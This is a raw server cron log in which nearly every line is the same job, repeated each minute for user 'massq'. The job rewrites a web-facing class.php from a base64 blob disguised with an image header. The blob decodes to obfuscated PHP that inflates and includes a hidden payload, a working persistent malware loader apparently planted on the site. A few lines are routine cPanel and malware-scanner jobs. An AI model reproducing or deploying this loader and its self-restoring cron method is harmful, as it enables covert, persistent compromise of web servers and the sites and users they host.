Nov  9 21:02:01 server CROND[5195]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:03:01 server CROND[5604]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:04:01 server CROND[6293]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:05:01 server CROND[7160]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:05:01 server CROND[7159]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 21:05:01 server CROND[7162]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 21:05:01 server CROND[7161]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 21:06:01 server CROND[7755]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:07:01 server CROND[8561]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:08:01 server CROND[9624]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:09:01 server CROND[10455]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:09:01 server CROND[10456]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 21:10:01 server CROND[11319]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 21:10:01 server CROND[11320]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:10:01 server CROND[11321]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 21:10:01 server CROND[11322]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 21:11:01 server CROND[12199]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:12:01 server CROND[13059]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:12:01 server CROND[13060]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 21:13:01 server CROND[13811]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:14:01 server CROND[14283]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:15:01 server CROND[15118]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
